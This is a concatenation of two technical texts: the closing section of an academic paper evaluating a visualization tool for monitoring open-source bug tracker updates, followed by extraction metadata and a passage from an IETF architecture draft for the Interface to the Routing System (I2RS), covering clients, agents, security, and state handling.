<td>3</td> <td>3</td> <td>5</td> </tr> <tr> <td>4</td> <td>9</td> <td>5</td> </tr> <tr> <td>5</td> <td>32*</td> <td>6</td> </tr> <tr> <td>6</td> <td>4</td> <td>2</td> </tr> <tr> <td>7</td> <td>3</td> <td>2</td> </tr> <tr> <td>8</td> <td>4</td> <td>4</td> </tr> <tr> <td>9</td> <td>12</td> <td>7</td> </tr> <tr> <td>10</td> <td>5</td> <td>5</td> </tr> <tr> <td>11</td> <td>2</td> <td>1</td> </tr> <tr> <td>12</td> <td>8</td> <td>1</td> </tr> </tbody> </table> Mean 5.30 4.20 3.60 1.80 S.D. 3.10 2.71 2.29 0.98 4.2 Experimental Results Table 3 shows the number of times participants checked data in step 3. In every condition expect dataset A with replay, all participants could identify a target bug. The participant 1 gave up before he could find any target bug from dataset A with replay condition. It is also observed that one participant (participant 5) had difficulty in achieving task in dataset D with no effect (i.e. without replay and highlight). In Table 3, the cases where a participant failed or had difficulty in achieving task are marked as *, which shows they checks the data too many times compared with others. Regarding these two cases as outliers, we analyze the result by excluding participants 1 and 5 in the rest of this subsection. It is seen from Table 3 that frequency of checking data tends to be small when replay and highlight function are used. Table 4 is the result of two-way ANOVA for evaluating the effect of replay and highlight function, which shows that the highlight function has a statistically-significant positive effect on reducing the frequency of checking data. Table 5 shows time (seconds) spent on monitoring task in step 3. The cases where a participant failed or had difficulty in achieving task are marked as *. Table 5 shows the result of two-way ANOVA for evaluating the effect of replay and highlight function on monitoring time. Although no statistically-significant effect is observed, monitoring time tends to be short with highlight function. On the other hand, monitoring time with using replay tends to be long, of which the reason is that time period to be checked is 72 hours when using replay, whereas that without replay is 24 hours only. From the viewpoint of time required for viewing the data, it takes about 3.6 seconds with using replay, and about 1.2 seconds without it. However, Table 5 also shows that increase of monitoring time can be suppressed by combining replay with highlight function. 4.3 Analysis of Participants’ Behaviors After the experiment, we asked the participants to answer questionnaires regarding their impression about the functions of filtering, onion skin visualization, and replay. This subsection analyzes participants’ behaviors using the system based on the results of questionnaires and log data of the system. Regarding filtering function, positive opinions were obtained from 8 participants, such as follows. - It makes it easy to see changes of node’s status. - It is convenient when I want to check dense zone of nodes. On the other hand, one participant had a negative comment that it is not necessary for performing this task. Eleven participants had positive opinions for the onion skin visualization, such as follows. - Trajectory of a node makes it easy to watch the change of its color. - Showing both color and direction changes is attractive, and useful for finding a node of which status is updated. It is noted that the participant who had negative opinion on filtering function had positive opinion on the onion skin visualization. He said the onion skin visualization is useful for examining status change of bugs during target time period. On the other hand, two participants had negative opinions that it makes the visualization panel difficult to see when onion skin visualization is applied to many nodes at the same time. Regarding the replay, 4 participants had positive opinions, whereas 8 participants had negative opinions. An example of positive opinion is that it is useful to find a node frequently updated within previous monitoring period. Typical negative opinion, which is obtained from 5 participants, is that it is not clear when entering into target time period from previous time period. This opinion corresponds to the fact that 4 participants regarded a bug of which status has changed only in previous time period as a target bug under replay setting. This problem could be solved with minor modification, such as changing background color when entering into target time period. It was observed that participants’ behaviors during monitoring task are modeled as the following process. 1. Find candidate nodes that might be target bugs. 2. Examine candidate nodes in detail. When participants tried to find candidate nodes in step 1, they had to focus on small number of nodes from vast amount of nodes displayed on the visualization panel, by using some viewing strategies. As for the viewing strategy, some participants divided their focused area on visualization panel into several regions. For example, the participant 5 divided the visualization panel into 4 regions, and focused on one of those regions one by one. The participant 12 firstly focused on the left edge of the visualization panel, and then gradually moved his attention to the right part. Both of filtering and onion skin visualization could also help participants’ task in step 1. When the status of a bug is changed, the size of the corresponding node is drastically changed by the filtering functions. Therefore participants could easily notice such nodes. Trajectory of a node visualized by onion skin visualization also makes it easy for participants to find candidate nodes. Most of participants used both or either of these functions. When they could utilize a function, they had positive opinions to it. Interestingly, the participants seldom moved mouse cursor over nodes. The average number of unique nodes they pointed until finding a target node is less than 9 for every condition. This indicates the system has initiative of interaction, which is one of our design policy as noted in Sect. 3.1. In step 2, the onion skin visualization was utilized by most of the participants, which corresponds to the fact that 11 participants had positive opinions on it. When the onion skin visualization could not be used, the participants had to use replay for confirming the status change of a candidate nodes, which increased both the frequency of checking data and monitoring time. Although it required additional monitoring time, replay function was useful especially when it was used together with the highlight function, which is confirmed by the fact that 10 participants could find target bugs by checking target data only once or twice as shown in Table 3. 4.4 Discussion As noted in Sect. 3.2, the proposed system aims to support developers examining bug update information in terms of bug status, involved persons, and relationship among bugs within a short time period. Among them, the task of the experiment in this section focuses on status change of bugs. This subsection discusses other two factors. When we developed the system, we asked an OSS professional developer and an evangelist in a company to use the system and to give us comments. It was observed that when monitoring bug update information, they checked involved persons. In order to make it easy to focus on specific person, they suggested that the function for filtering nodes with specified person. Considering this comment, the filtering function of the proposed system, which is described in Sect. 3.3, can specify a person as one of filtering conditions. Conditions which can be specified as filtering condition are involved person, status, importance, dataset, keyword, and with/without update during specified period. The last condition is also used for highlighting function as noted in Sect. 3.3. Once bugs relating with specific person are found with filtering function, it is easy to track those bugs based on moving direction. Regarding relationship among bugs, edges were found to be informative to them. Furthermore, they also suggested the possibility of providing more information with an edge. For example, the type of relationship between bugs such as dependent and block relationship could be represented as the color or width of an edge. Although the current version of the system does not consider the type of relationship, it would be possible to extend the system to represent more information with edges. However, as providing more information could increase the cognitive load of a user [15], feasibility study should be conducted in terms of trade-off between information richness and cognitive load. 5. Conclusions This paper proposed the concept of monitoring support for utilizing text stream data, and an information visualization system targeting OSS bug tracking systems. As the task of monitoring text stream data inevitably involves breaks, the proposed system employs the replay of part of the last monitoring period and the function of highlighting interesting bugs for providing users with context information. The experiment with test participants was conducted using data collected from actual BTSs, and the result shows the effectiveness of the proposed system. Although the system is designed for monitoring bug update information, the proposed concept of visualization for supporting monitoring tasks could be applied to various kinds of text stream data including online news, BBS, and microblogs. Our future work therefore includes development of monitoring support systems for such kinds of text stream data, by introducing additional processing such as topic extraction and other kinds of visualization techniques such as tag cloud. Acknowledgments This work was supported in part by a grant from National Institute of Informatics. References
{"Source-Url": "http://search.ieice.org/bin/pdf_link.php?abst=&category=D&fname=e97-d_4_654&lang=E&year=2014", "len_cl100k_base": 8722, "olmocr-version": "0.1.49", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 30192, "total-output-tokens": 9765, "length": "2e13", "weborganizer": {"__label__adult": 0.0002696514129638672, "__label__art_design": 0.0007610321044921875, "__label__crime_law": 0.00023162364959716797, "__label__education_jobs": 0.0012302398681640625, "__label__entertainment": 8.7738037109375e-05, "__label__fashion_beauty": 0.0001201629638671875, "__label__finance_business": 0.0002053976058959961, "__label__food_dining": 0.00025343894958496094, "__label__games": 0.0005617141723632812, "__label__hardware": 0.0008668899536132812, "__label__health": 0.0003540515899658203, "__label__history": 0.00025582313537597656, "__label__home_hobbies": 7.128715515136719e-05, "__label__industrial": 0.0002359151840209961, "__label__literature": 0.0002760887145996094, "__label__politics": 0.00015115737915039062, "__label__religion": 0.00031304359436035156, "__label__science_tech": 0.0357666015625, "__label__social_life": 8.887052536010742e-05, "__label__software": 0.0235595703125, "__label__software_dev": 0.93359375, "__label__sports_fitness": 0.00017201900482177734, "__label__transportation": 0.0003008842468261719, "__label__travel": 0.0001558065414428711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42421, 0.03388]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42421, 0.44667]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42421, 0.92996]], "google_gemma-3-12b-it_contains_pii": [[0, 5296, false], [5296, 10936, null], [10936, 16612, null], [16612, 20496, null], [20496, 23641, null], [23641, 28814, null], [28814, 33017, null], [33017, 38885, null], [38885, 42421, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5296, true], [5296, 10936, null], [10936, 16612, null], [16612, 20496, null], [20496, 23641, null], [23641, 28814, null], [28814, 33017, null], [33017, 38885, null], [38885, 42421, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42421, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42421, null]], "pdf_page_numbers": [[0, 5296, 1], [5296, 10936, 2], [10936, 16612, 3], [16612, 20496, 4], [20496, 23641, 5], [23641, 28814, 6], [28814, 33017, 7], [33017, 38885, 8], [38885, 42421, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42421, 0.19251]]}
olmocr_science_pdfs
2024-11-24
2024-11-24
552937aa91bec46c8366eb163fa696184d608c2f
Abstract This document describes an architecture for a standard, programmatic interface for state transfer in and out of the internet routing system. It describes the basic architecture, the components, and their interfaces with particular focus on those to be standardized as part of I2RS. Table of Contents 1. Introduction ........................................... 3 1.1. Drivers for the I2RS Architecture ............... 4 1.2. Architectural Overview ......................... 5 2. Terminology ............................................. 9 3. Key Architectural Properties .......................... 10 3.1. Simplicity ....................................... 10 3.2. Extensibility .................................... 11 3.3. Model-Driven Programmatic Interfaces .......... 11 4. Security Considerations .............................. 12 4.1. Identity and Authentication .................... 13 4.2. Authorization .................................... 13 5. Network Applications and I2RS Client ............... 14 5.1. Example Network Application: Topology Manager 15 6. I2RS Agent Role and Functionality ............... 15 6.1. Relationship to its Routing Element .......... 15 6.2. I2RS State Storage ............................ 16 6.2.1. I2RS Agent Failure ....................... 16 6.2.2. Starting and Ending ...................... 17 6.2.3. Reversion ................................ 17 6.3. Interactions with Local Config ............... 18 6.4. Routing Components and Associated I2RS Services 18 6.4.1. Routing and Label Information Bases ...... 19 6.4.2. IGP, BGP and Multicast Protocols ...... 20 6.4.3. MPLS ....................................... 20 6.4.4. Policy and QoS Mechanisms .............. 21 6.4.5. Information Modeling, Device Variation, and Information Relationships ....... 21 6.4.5.1. Managing Variation: Object Classes/Types and Inheritance ............. 21 6.4.5.2. Managing Variation: Optionality ......................... 22 6.4.5.3. Managing Variation: Templating ..................... 22 6.4.5.4. Object Relationships ..................... 23 6.4.5.4.1. Initialization ............................. 23 6.4.5.4.2. Correlation Identification ............. 23 6.4.5.4.3. Object References ..................... 24 6.4.5.4.4. Active Reference ..................... 24 7. I2RS Client Agent Interface ....................... 24 7.1. One Control and Data Exchange Protocol .......... 24 1. Introduction Routers that form the internet routing infrastructure maintain state at various layers of detail and function. For example, a typical router maintains a Routing Information Base (RIB), and implements routing protocols such as OSPF, ISIS, and BGP to exchange protocol state and other information about the state of the network with other routers. Routers convert all of this information into forwarding entries which are then used to forward packets and flows between network elements. The forwarding plane and the specified forwarding entries then contain active state information that describes the expected and observed operational behavior of the router and which is also needed by the network applications. Network-oriented applications require easy access to this information to learn the network topology, to verify that programmed state is installed in the forwarding plane, to measure the behavior of various flows, routes or forwarding entries, as well as to understand the configured and active states of the router. This document sets out an architecture for a common, standards-based interface to this information. This Interface to the Routing System (I2RS) facilitates control and observation of the routing-related state (for example, a Routing Element RIB manager’s state), as well as enabling network-oriented applications to be built on top of today’s routed networks. The I2RS is a programmatic asynchronous interface for transferring state into and out of the internet routing system. This I2RS architecture recognizes that the routing system and a router’s OS provide useful mechanisms that applications could harness to accomplish application-level goals. Fundamental to the I2RS are clear data models that define the semantics of the information that can be written and read. The I2RS provides a framework for registering for and requesting the appropriate information for each particular application. The I2RS provides a way for applications to customize network behavior while leveraging the existing routing system as desired. Although the I2RS architecture is general enough to support information and data models for a variety of data, and aspects of the I2RS solution may be useful in domain other than routing, I2RS and this document are specifically focused on an interface for routing data. 1.1. Drivers for the I2RS Architecture There are four key drivers that shape the I2RS architecture. First is the need for an interface that is programmatic, asynchronous, and offers fast, interactive access for atomic operations. Second is the access to structured information and state that is frequently not directly configurable or modeled in existing implementations or configuration protocols. Third is the ability to subscribe to structured, filterable event notifications from the router. Fourth, the operation of I2RS is to be data-model driven to facilitate extensibility and provide standard data-models to be used by network applications. I2RS is described as an asynchronous programmatic interface, the key properties of which are described in Section 5 of [I-D.ietf-i2rs-problem-statement]. The I2RS architecture facilitates obtaining information from the router. The I2RS architecture provides the ability to not only read specific information, but also to subscribe to targeted information streams and filtered and thresholded events. Such an interface also facilitates the injection of ephemeral state into the routing system. A non-routing protocol or application could inject state into a routing element via the state-insertion functionality of the I2RS and that state could then be distributed in a routing or signaling protocol and/or be used locally (e.g. to program the co-located forwarding plane). I2RS will only permit modification of state that would be safe, conceptually, to modify via local configuration; no direct manipulation of protocol-internal dynamically determined data is envisioned. 1.2. Architectural Overview Figure 1 shows the basic architecture for I2RS between applications using I2RS, their associated I2RS Clients, and I2RS Agents. Applications access I2RS services through I2RS clients. A single client can provide access to one or more applications. In the figure, Clients A and B provide access to a single application, while Client P provides access to multiple applications. Applications can access I2RS services through local or remote clients. In the figure, Applications A and B access I2RS services through local clients, while Applications C, D and E access I2RS services through a remote client. The details of how applications communicate with a remote client is out of scope for I2RS. An I2RS Client can access one or more I2RS agents. In the figure, Clients B and P access I2RS Agents 1 and 2. Likewise, an I2RS Agent can provide service to one or more clients. In the figure, I2RS Agent 1 provides services to Clients A, B and P while Agent 2 provides services to only Clients B and P. I2RS agents and clients communicate with one another using an asynchronous protocol. Therefore, a single client can post multiple simultaneous requests, either to a single agent or to multiple agents. Furthermore, an agent can process multiple requests, either from a single client or from multiple clients, simultaneously. The I2RS agent provides read and write access to selected data on the routing element that are organized into I2RS Services. Section 4 describes how access is mediated by authentication and access control mechanisms. In addition to read and write access, the I2RS agent allows clients to subscribe to different types of notifications about events affecting different object instances. An example not related to the creation, modification or deletion of an object instance is when a next-hop in the RIB is resolved enough to be used or when a particular route is selected by the RIB Manager for installation into the forwarding plane. Please see Section 7.6 and Section 7.7 for details. The scope of I2RS is to define the interactions between the I2RS agent and the I2RS client and the associated proper behavior of the I2RS agent and I2RS client. Figure 1: Architecture of I2RS clients and agents Routing Element: A Routing Element implements some subset of the routing system. It does not need to have a forwarding plane associated with it. Examples of Routing Elements can include: * A router with a forwarding plane and RIB Manager that runs ISIS, OSPF, BGP, PIM, etc., * A BGP speaker acting as a Route Reflector, * An LSR that implements RSVP-TE, OSPF-TE, and PCEP and has a forwarding plane and associated RIB Manager, * A server that runs ISIS, OSPF, BGP and uses ForCES to control a remote forwarding plane, A Routing Element may be locally managed, whether via CLI, SNMP, or NETCONF. Routing and Signaling: This block represents that portion of the Routing Element that implements part of the internet routing system. It includes not merely standardized protocols (i.e. IS-IS, OSPF, BGP, PIM, RSVP-TE, LDP, etc.), but also the RIB Manager layer. Local Config: A Routing Element will provide the ability to configure and manage it. The Local Config may be provided via a combination of CLI, NETCONF, SNMP, etc. The black box behavior for interactions between the state that I2RS installs into the routing element and the Local Config must be defined. Dynamic System State: An I2RS agent needs access to state on a routing element beyond what is contained in the routing subsystem. Such state may include various counters, statistics, flow data, and local events. This is the subset of operational state that is needed by network applications based on I2RS that is not contained in the routing and signaling information. How this information is provided to the I2RS agent is out of scope, but the standardized information and data models for what is exposed are part of I2RS. Static System State: An I2RS agent needs access to static state on a routing element beyond what is contained in the routing subsystem. An example of such state is specifying queueing behavior for an interface or traffic. How the I2RS agent modifies or obtains this information is out of scope, but the standardized information and data models for what is exposed are part of I2RS. I2RS Agent: See the definition in Section 2. Application: A network application that needs to observe the network or manipulate the network to achieve its service requirements. I2RS Client: See the definition in Section 2. As can be seen in Figure 1, an I2RS client can communicate with multiple I2RS agents. An I2RS client may connect to one or more I2RS agents based upon its needs. Similarly, an I2RS agent may communicate with multiple I2RS clients – whether to respond to their requests, to send notifications, etc. Timely notifications are critical so that several simultaneously operating applications have up-to-date information on the state of the network. As can also be seen in Figure 1, an I2RS Agent may communicate with multiple clients. Each client may send the agent a variety of write operations. In order to keep the protocol simple, two clients should not attempt to write (modify) the same piece of information on an I2RS Agent. This is considered an error. However, such collisions may happen and section 7.8 (multi-headed control) describes how the I2RS agent resolves collision by first utilizing priority to resolve collisions, and second by servicing the requests in a first in, first served basis. The i2rs architecture includes this definition of behavior for this case simply for predictability not because this is an intended result. This predictability will simplify the error handling and suppress oscillations. If additional error cases beyond this simple treatment are required, these error cases should be resolved by the network applications and management systems. In contrast, although multiple I2RS clients may need to supply data into the same list (e.g. a prefix or filter list), this is not considered an error and must be correctly handled. The nuances so that writers do not normally collide should be handled in the information models. The architectural goal for the I2RS is that such errors should produce predictable behaviors, and be reportable to interested clients. The details of the associated policy is discussed in Section 7.8. The same policy mechanism (simple priority per I2RS client) applies to interactions between the I2RS agent and the CLI/SNMP/NETCONF as described in Section 6.3. In addition it must be noted that there may be indirect interactions between write operations. A basic example of this is when two different but overlapping prefixes are written with different forwarding behavior. Detection and avoidance of such interactions is outside the scope of the I2RS work and is left to agent design and implementation. 2. Terminology The following terminology is used in this document. **agent or I2RS Agent:** An I2RS agent provides the supported I2RS services from the local system’s routing sub-systems by interacting with the routing element to provide specified behavior. The I2RS agent understands the I2RS protocol and can be contacted by I2RS clients. **client or I2RS Client:** A client implements the I2RS protocol, uses it to communicate with I2RS Agents, and uses the I2RS services to accomplish a task. It interacts with other elements of the policy, provisioning, and configuration system by means outside of the scope of the I2RS effort. It interacts with the I2RS agents to collect information from the routing and forwarding system. Based on the information and the policy oriented interactions, the I2RS client may also interact with I2RS agents to modify the state of their associated routing systems to achieve operational goals. An I2RS client can be seen as the part of an application that uses and supports I2RS and could be a software library. **service or I2RS Service:** For the purposes of I2RS, a service refers to a set of related state access functions together with the policies that control their usage. The expectation is that a service will be represented by a data-model. For instance, ‘RIB service’ could be an example of a service that gives access to state held in a device’s RIB. **read scope:** The set of information which the I2RS client is authorized to read. The read scope specifies the access restrictions to both see the existence of data and read the value of that data. **notification scope:** The set of events and associated information that the I2RS Client can request be pushed by the I2RS Agent. I2RS Clients have the ability to register for specific events and information streams, but must be constrained by the access restrictions associated with their notification scope. **write scope:** The set of field values which the I2RS client is authorized to write (i.e. add, modify or delete). This access can restrict what data can be modified or created, and what specific value sets and ranges can be installed. **scope:** When unspecified as either read scope, write scope, or notification scope, the term scope applies to the read scope, write scope, and notification scope. resources: A resource is an I2RS-specific use of memory, storage, or execution that a client may consume due to its I2RS operations. The amount of each such resource that a client may consume in the context of a particular agent may be constrained based upon the client’s security role. An example of such a resource could include the number of notifications registered for. These are not protocol-specific resources or network-specific resources. role or security role: A security role specifies the scope, resources, priorities, etc. that a client or agent has. identity: A client is associated with exactly one specific identity. State can be attributed to a particular identity. It is possible for multiple communication channels to use the same identity; in that case, the assumption is that the associated client is coordinating such communication. secondary identity: An I2RS Client may supply a secondary opaque identity that is not interpreted by the I2RS Agent. An example use is when the I2RS Client is a go-between for multiple applications and it is necessary to track which application has requested a particular operation. 3. Key Architectural Properties Several key architectural properties for the I2RS protocol are elucidated below (simplicity, extensibility, and model-driven programmatic interfaces). However, some architecture principles such as performance and scaling are not described below because they are discussed in [I-D.ietf-i2rs-problem-statement] and because the performance and scaling requires varies based on the particular use-cases. 3.1. Simplicity There have been many efforts over the years to improve the access to the information available to the routing and forwarding system. Making such information visible and usable to network management and applications has many well-understood benefits. There are two related challenges in doing so. First, the quantity and diversity of information potentially available is very large. Second, the variation both in the structure of the data and in the kinds of operations required tends to introduce protocol complexity. While the types of operations contemplated here are complex in their nature, it is critical that I2RS be easily deployable and robust. Adding complexity beyond what is needed to satisfy well known and understood requirements would hinder the ease of implementation, the robustness of the protocol, and the deployability of the protocol. Overly complex data models tend to ossify information sets by attempting to describe and close off every possible option, complicating extensibility. Thus, one of the key aims for I2RS is the keep the protocol and modeling architecture simple. So for each architectural component or aspect, we ask ourselves "do we need this complexity, or is the behavior merely nice to have?" Protocol parsimony is clearly a goal. 3.2. Extensibility Naturally, extensibility of the protocol and data model is very important. In particular, given the necessary scope limitations of the initial work, it is critical that the initial design include strong support for extensibility. The scope of the I2RS work is being restricted in the interests of achieving a deliverable and deployable result. The I2RS Working Group is modeling only a subset of the data of interest. It is clearly desirable for the data models defined in the I2RS to be useful in more general settings. It should be easy to integrate data models from the I2RS with other data. Other work should be able to easily extend it to represent additional aspects of the network elements or network systems. This reinforces the criticality of designing the data models to be highly extensible, preferably in a regular and simple fashion. The I2RS Working Group is defining operations for the I2RS protocol. It would be optimistic to assume that more and different ones may not be needed when the scope of I2RS increases. Thus, it is important to consider extensibility not only of the underlying services’ data models, but also of the primitives and protocol operations. 3.3. Model-Driven Programmatic Interfaces A critical component of I2RS is the standard information and data models with their associated semantics. While many components of the routing system are standardized, associated data models for them are not yet available. Instead, each router uses different information, different mechanisms, and different CLI which makes a standard interface for use by applications extremely cumbersome to develop and maintain. Well-known data modeling languages exist and may be used for defining the data models for I2RS. There are several key benefits for I2RS in using model-driven architecture and protocol(s). First, it allows for transferring data-models whose content is not explicitly implemented or understood. Second, tools can automate checking and manipulating data; this is particularly valuable for both extensibility and for the ability to easily manipulate and check proprietary data-models. The different services provided by I2RS can correspond to separate data-models. An I2RS agent may indicate which data-models are supported. 4. Security Considerations This I2RS architecture describes interfaces that clearly require serious consideration of security. First, here is a brief description of the assumed security environment for I2RS. The I2RS Agent associated with a Routing Element is a trusted part of that Routing Element. For example, it may be part of a vendor-distributed signed software image for the entire Routing Element or it may be trusted signed application that an operator has installed. The I2RS Agent is assumed to have a separate authentication and authorization channel by which it can validate both the identity and permissions associated with an I2RS Client. To support numerous and speedy interactions between the I2RS Agent and I2RS Client, it is assumed that the I2RS Agent can also cache that particular I2RS Clients are trusted and their associated authorized scope. This implies that the permission information may be old either in a pull model until the I2RS Agent re-requests it, or in a push model until the authentication and authorization channel can notify the I2RS Agent of changes. Mutual authentication between the I2RS Client and I2RS Agent is required. An I2RS Client must be able to trust that the I2RS Agent is attached to the relevant Routing Element so that write/modify operations are correctly applied and so that information received from the I2RS Agent can be trusted by the I2RS Client. An I2RS Client is not automatically trustworthy. It has identity information and applications using that I2RS Client should be aware of the scope limitations of that I2RS Client. If the I2RS Client is acting as a broker for multiple applications, managing the security, authentication and authorization for that communication is out of scope; nothing prevents I2RS and a separate authentication and authorization channel from being used. Regardless of mechanism, an I2RS Client that is acting as a broker is responsible for determining that applications using it are trusted and permitted to make the particular requests. Different levels of integrity, confidentiality, and replay protection are relevant for different aspects of I2RS. The primary communication channel that is used for client authentication and then used by the client to write data requires integrity, privacy and replay protection. Appropriate selection of a default required transport protocol is the preferred way of meeting these requirements. Other communications via I2RS may not require integrity, confidentiality, and replay protection. For instance, if an I2RS Client subscribes to an information stream of prefix announcements from OSPF, those may require integrity but probably not confidentiality or replay protection. Similarly, an information stream of interface statistics may not even require guaranteed delivery. In Section 7.2, more reasoning for multiple communication channels is provided. From the security perspective, it is critical to realize that an I2RS Agent may open a new communication channel based upon information provided by an I2RS Client (as described in Section 7.2). For example, a I2RS client may request notifications of certain events and the agent will open a communication channel to report such events. Therefore, to avoid an indirect attack, such a request must be done in the context of an authenticated and authorized client whose communications cannot have been altered. 4.1. Identity and Authentication As discussed above, all control exchanges between the I2RS client and agent should be authenticated and integrity protected (such that the contents cannot be changed without detection). Further, manipulation of the system must be accurately attributable. In an ideal architecture, even information collection and notification should be protected; this may be subject to engineering tradeoffs during the design. I2RS clients may be operating on behalf of other applications. While those applications’ identities are not needed for authentication or authorization, each application should have a unique opaque identifier that can be provided by the I2RS client to the I2RS agent for purposes of tracking attribution of operations to support functionality such as accounting and troubleshooting. 4.2. Authorization All operations using I2RS, both observation and manipulation, should be subject to appropriate authorization controls. Such authorization is based on the identity and assigned role of the I2RS client performing the operations and the I2RS agent in the network element. I2RS Agents, in performing information collection and manipulation, will be acting on behalf of the I2RS clients. As such, each operation authorization will be based on the lower of the two permissions of the agent itself and of the authenticated client. The mechanism by which this authorization is applied within the device is outside of the scope of I2RS. The appropriate or necessary level of granularity for scope can depend upon the particular I2RS Service and the implementation’s granularity. An approach to a similar access control problem is defined in the NetConf Access Control Model[RFC6536]; it allows arbitrary access to be specified for a data node instance identifier while defining meaningful manipulable defaults. The ability to specify one or more groups or roles that a particular I2RS Client belongs and then define access controls in terms of those groups or roles is expected. When a client is authenticated, its group or role membership should be provided to the I2RS Agent. The set of access control rules that an I2RS Agent uses would need to be either provided via Local Config, exposed as an I2RS Service for manipulation by authorized clients, or via some other method. 5. Network Applications and I2RS Client I2RS is expected to be used by network-oriented applications in different architectures. While the interface between a network-oriented application and the I2RS client is outside the scope of I2RS, considering the different architectures is important to sufficiently specify I2RS. In the simplest architecture, a network-oriented application has an I2RS client as a library or driver for communication with routing elements. In the broker architecture, multiple network-oriented applications communicate in an unspecified fashion to a broker application that contains an I2RS Client. That broker application requires additional functionality for authentication and authorization of the network-oriented applications; such functionality is out of scope for I2RS but similar considerations to those described in Section 4.2 do apply. As discussed in Section 4.1, the broker I2RS Client should determine distinct opaque identifiers for each network-oriented application that is using it. The broker I2RS Client can pass along the appropriate value as a secondary identifier which can be used for tracking attribution of operations. In a third architecture, a routing element or network-oriented application that uses an I2RS Client to access services on a different routing element may also contain an I2RS agent to provide services to other network-oriented applications. However, where the needed information and data models for those services differs from that of a conventional routing element, those models are, at least initially, out of scope for I2RS. Below is an example of such a network application 5.1. Example Network Application: Topology Manager A Topology Manager includes an I2RS client that uses the I2RS data models and protocol to collect information about the state of the network by communicating directly with one or more I2RS agents. From these I2RS agents, the Topology Manager collects routing configuration and operational data, such as interface and label-switched path (LSP) information. In addition, the Topology Manager may collect link-state data in several ways — either via I2RS models, by peering with BGP-LS [I-D.ietf-idr-ls-distribution] or listening into the IGP. The set of functionality and collected information that is the Topology Manager may be embedded as a component of a larger application, such as a path computation application. As a stand-alone application, the Topology Manager could be useful to other network applications by providing a coherent picture of the network state accessible via another interface. That interface might use the same I2RS protocol and could provide a topology service using extensions to the I2RS data models. 6. I2RS Agent Role and Functionality The I2RS Agent is part of a routing element. As such, it has relationships with that routing element as a whole, and with various components of that routing element. 6.1. Relationship to its Routing Element A Routing Element may be implemented with a wide variety of different architectures: an integrated router, a split architecture, distributed architecture, etc. The architecture does not need to affect the general I2RS agent behavior. For scalability and generality, the I2RS agent may be responsible for collecting and delivering large amounts of data from various parts of the routing element. Those parts may or may not actually be part of a single physical device. Thus, for scalability and robustness, it is important that the architecture allow for a distributed set of reporting components providing collected data from the I2RS agent back to the relevant I2RS clients. There may be multiple I2RS Agents within the same router. In such a case, they must have non-overlapping sets of information which they manipulate. To facilitate operations, deployment and troubleshooting, it is important that traceability of the I2RS Agent’s requests and actions be supported via a common data model. 6.2. I2RS State Storage State modification requests are sent to the I2RS agent in a routing element by I2RS clients. The I2RS agent is responsible for applying these changes to the system, subject to the authorization discussed above. The I2RS agent will retain knowledge of the changes it has applied, and the client on whose behalf it applied the changes. The I2RS agent will also store active subscriptions. These sets of data form the I2RS data store. This data is retained by the agent until the state is removed by the client, overridden by some other operation such as CLI, or the device reboots. Meaningful logging of the application and removal of changes is recommended. I2RS applied changes to the routing element state will not be retained across routing element reboot. The I2RS data store is not preserved across routing element reboots; thus the I2RS agent will not attempt to reapply such changes after a reboot. 6.2.1. I2RS Agent Failure It is expected that an I2RS Agent may fail independently of the associated routing element. This could happen because I2RS is disabled on the routing element or because the I2RS Agent, a separate process or even running on a separate processor, experiences an unexpected failure. Just as routing state learned from a failed source is removed, the ephemeral I2RS state will usually be removed shortly after the failure is detected or as part of a graceful shutdown process. To handle I2RS Agent failure, the I2RS Agent must use two different notifications. NOTIFICATION_I2RS_AGENT_STARTING: This notification identifies that the associated I2RS Agent has started. It includes an agent-boot-count that indicates how many times the I2RS Agent has restarted since the associated routing element restarted. The agent-boot-count allows an I2RS Client to determine if the I2RS Agent has restarted. NOTIFICATION_I2RS_AGENT_TERMINATING: This notification reports that the associated I2RS Agent is shutting down gracefully. Ephemeral state will be removed. It can optionally include a timestamp indicating when the I2RS Agent will shutdown. Use of this timestamp assumes that time synchronization has been done and the timestamp should not have granularity finer than one second because better accuracy of shutdown time is not guaranteed. There are two different failure types that are possible and each has different behavior. Unexpected failure: In this case, the I2RS Agent has unexpectedly crashed and thus cannot notify its clients of anything. Since I2RS does not require a persistent connection between the I2RS Client and I2RS Agent, it is necessary to have a mechanism for the I2RS Agent to notify I2RS Clients that had subscriptions or written ephemeral state; such I2RS Clients should be cached by the I2RS Agent’s system in persistent storage. When the I2RS Agent starts, it should send a NOTIFICATION_I2RS_AGENT_STARTING to each cached I2RS Client. Graceful failure: In this case, the I2RS Agent can do specific limited work as part of the process of being disabled. The I2RS Agent must send a NOTIFICATION_I2RS_AGENT_TERMINATING to all its cached I2RS Clients. 6.2.2. Starting and Ending When an I2RS client applies changes via the I2RS protocol, those changes are applied and left until removed or the routing element reboots. The network application may make decisions about what to request via I2RS based upon a variety of conditions that imply different start times and stop times. That complexity is managed by the network application and is not handled by I2RS. 6.2.3. Reversion An I2RS Agent may decide that some state should no longer be applied. An I2RS Client may instruct an Agent to remove state it has applied. In all such cases, the state will revert to what it would have been without the I2RS client-agent interaction; that state is generally whatever was specified via the CLI, NETCONF, SNMP, etc. I2RS Agents will not store multiple alternative states, nor try to determine which one among such a plurality it should fall back to. Thus, the model followed is not like the RIB, 